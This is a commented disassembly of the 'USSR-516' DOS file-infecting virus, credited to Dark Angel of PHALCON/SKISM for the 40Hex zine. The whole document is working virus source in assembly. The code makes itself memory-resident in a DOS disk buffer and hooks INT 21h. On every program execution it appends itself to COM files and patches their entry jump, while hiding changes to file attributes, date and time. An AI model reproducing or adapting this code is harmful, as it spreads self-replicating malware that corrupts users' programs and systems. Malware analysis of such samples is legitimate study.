ussr516 segment byte public assume cs:ussr516, ds:ussr516 org 100h ;Disassembled by Dark Angel of PHALCON/SKISM ;for 40Hex Number 7 Volume 2 Issue 3 stub: db 0e9h, 0, 0 db 0e9h, 1, 0, 0 ;This is where the virus really begins start: push ax call beginvir orig4 db 0cdh, 20h, 0, 0 int30store db 0, 0, 0, 0 ;Actually it's int 21h ;entry point int21store db 0, 0, 0, 0 beginvir: pop bp ;BP -> orig4 mov si,bp mov di,103h add di,[di-2] ;DI -> orig4 movsw ;restore original movsw ;4 bytes of program xor si,si mov ds,si les di,dword ptr ds:[21h*4] mov [bp+8],di ;int21store mov [bp+0Ah],es lds di,dword ptr ds:[30h*4+1] ;Bug???? findmarker: inc di cmp word ptr [di-2],0E18Ah ;Find marker bytes jne findmarker ;to the entry point mov [bp+4],di ;and move to mov [bp+6],ds ;int30store mov ax,5252h ;Get list of lists int 21h ;and also ID check add bx,12h ;Already installed? jz quitvir ;then exit push bx mov ah,30h ;Get DOS version int 21h pop bx ;bx = 12, ptr to 1st ;disk buffer cmp al,3 je handlebuffer ;if DOS 3 ja handleDBHCH ;if > DOS 3 inc bx ;DOS 2.X, offset is 13 handlebuffer: push ds push bx lds bx,dword ptr [bx] ;Get seg:off of buffer inc si pop di pop es ;ES:DI->seg:off buff mov ax,[bx] ;ptr to next buffer cmp ax,0FFFFh ;least recently used? jne handlebuffer ;if not, go find it cmp si,3 jbe quitvir stosw stosw jmp short movetobuffer handleDBHCH: ;Disk Buffer Hash Chain Head array lds si,dword ptr [bx] ;ptr to disk buffer lodsw ;info lodsw ;seg of disk buffer ;hash chain head array inc ax ;second entry mov ds,ax xor bx,bx mov si,bx lodsw ;EMS page, -1 if not ;in EMS xchg ax,di ;save in di lodsw ;ptr to least recently ;used buffer mov [di+2],ax ;change disk buffer ;backward offset to ;least recently used xchg ax,di ;restore EMS page mov [di],ax ;set to least recently movetobuffer: ;used mov di,bx push ds pop es ;ES:DI -> disk buffer push cs pop ds mov cx,108h lea si,[bp-4] ;Copy from start rep movsw mov ds,cx ;DS -> interrupt table mov word ptr ds:[4*21h],0BCh ;New interrupt handler mov word ptr ds:[4*21h+2],es ;at int21 quitvir: push cs ;CS = DS = ES pop es push es pop ds pop ax mov bx,ax mov si, 100h ;set up stack for push si ;the return to the retn ;original program int24: mov al,3 ;Ignore all errors iret tickstore db 3 ;Why??? buffer db 3, 0, 9, 0 int21: pushf cli ;CP/M style call entry call dword ptr cs:[int30store-start] retn ;point of int 21h int21DSDX: ;For int 21h calls push ds ;with lds dx,dword ptr [bp+2] ;DS:DX -> filename call int21 pop ds retn cmp ax,4B00h ;Execute je Execute cmp ax,5252h ;ID check je CheckID cmp ah,30h ;DOS Version je DosVersion callorig21: ;Do other calls jmp dword ptr cs:[int21store-start] DosVersion: ;Why????? ;DOS Version dec byte ptr cs:[tickstore-start] jnz callorig21 ;Continue if not 0 push es xor ax,ax push ax mov es,ax mov al,es:[46Ch] ; 40h:6Ch = Timer ticks ; since midnight and al,7 ; MOD 15 inc ax inc ax mov cs:[tickstore-start],al ;# 2-17 pop ax pop es iret CheckID: ;ID Check mov bx,0FFEEh ;FFEEh = -12h iret Execute: ;Execute push ax ;Save registers push cx push es push bx push ds ;DS:DX -> filename push dx ;save it on stack push bp mov bp,sp ;Set up stack frame sub sp,0Ah ;Temporary variables ;[bp-A] = attributes ;[bp-8] = int 24 off ;[bp-6] = int 24 seg ;[bp-4] = file time ;[bp-2] = file date sti push cs pop ds mov ax,3301h ;Turn off ^C check xor dl,dl ;(never turn it back call int21 ; on. Bug???) mov ax,3524h ;Get int 24h call int21 ;(Critical error) mov [bp-8],bx mov [bp-6],es mov dx,int24-start mov ax,2524h ;Set to new one call int21 mov ax,4300h ;Get attributes call int21DSDX jnc continue doneinfect: mov ax,2524h ;Restore crit error lds dx,dword ptr [bp-8] ;handler call int21 cli mov sp,bp pop bp pop dx pop ds pop bx pop es pop cx pop ax jmp short callorig21 ;Call orig handler continue: mov [bp-0Ah],cx ;Save attributes test cl,1 ;Check if r/o???? jz noclearattr xor cx,cx mov ax,4301h ;Clear attributes call int21DSDX ;Filename in DS:DX jc doneinfect ;Quit on error noclearattr: mov ax,3D02h ;Open read/write call int21DSDX ;Filename in DS:DX jc doneinfect ;Exit if error mov bx,ax mov ax,5700h ;Save time/date call int21 mov [bp-4],cx mov [bp-2],dx mov dx,buffer-start mov cx,4 mov ah,3Fh ;Read 4 bytes to call int21 ;buffer jc quitinf cmp byte ptr ds:[buffer-start],0E9h;Must start with 0E9h jne quitinf ;Otherwise, quit mov dx,word ptr ds:[buffer+1-start];dx = jmploc dec dx xor cx,cx mov ax,4201h ;go there call int21 mov ds:[buffer-start],ax ;new location offset mov dx,orig4-start mov cx,4 mov ah,3Fh ;Read 4 bytes there call int21 mov dx,ds:[orig4-start] cmp dl,0E9h ;0E9h means we might jne infect ;already be there mov ax,ds:[orig4+2-start] ;continue checking add al,dh ;to see if we really sub al,ah ;are there. jz quitinf infect: xor cx,cx mov dx,cx mov ax,4202h ;Go to EOF call int21 mov ds:[buffer+2-start],ax ;save filesize mov cx,204h mov ah,40h ;Write virus call int21 jc quitinf ;Exit if error sub cx,ax jnz quitinf mov dx,ds:[buffer-start] mov ax,ds:[buffer+2-start] sub ax,dx sub ax,3 ;AX->jmp offset mov word ptr ds:[buffer+1-start],ax;Set up buffer mov byte ptr ds:[buffer-start],0E9h;code the jmp add al,ah mov byte ptr ds:[buffer+3-start],al mov ax,4200h ;Rewind to jmploc call int21 mov dx, buffer-start mov cx,4 ;Write in the jmp mov ah,40h call int21 quitinf: mov cx,[bp-4] mov dx,[bp-2] mov ax,5701h ;Restore date/time call int21 mov ah,3Eh ;Close file call int21 mov cx,[bp-0Ah] ;Restore attributes mov ax,4301h call int21DSDX jmp doneinfect ;Return ussr516 ends end stub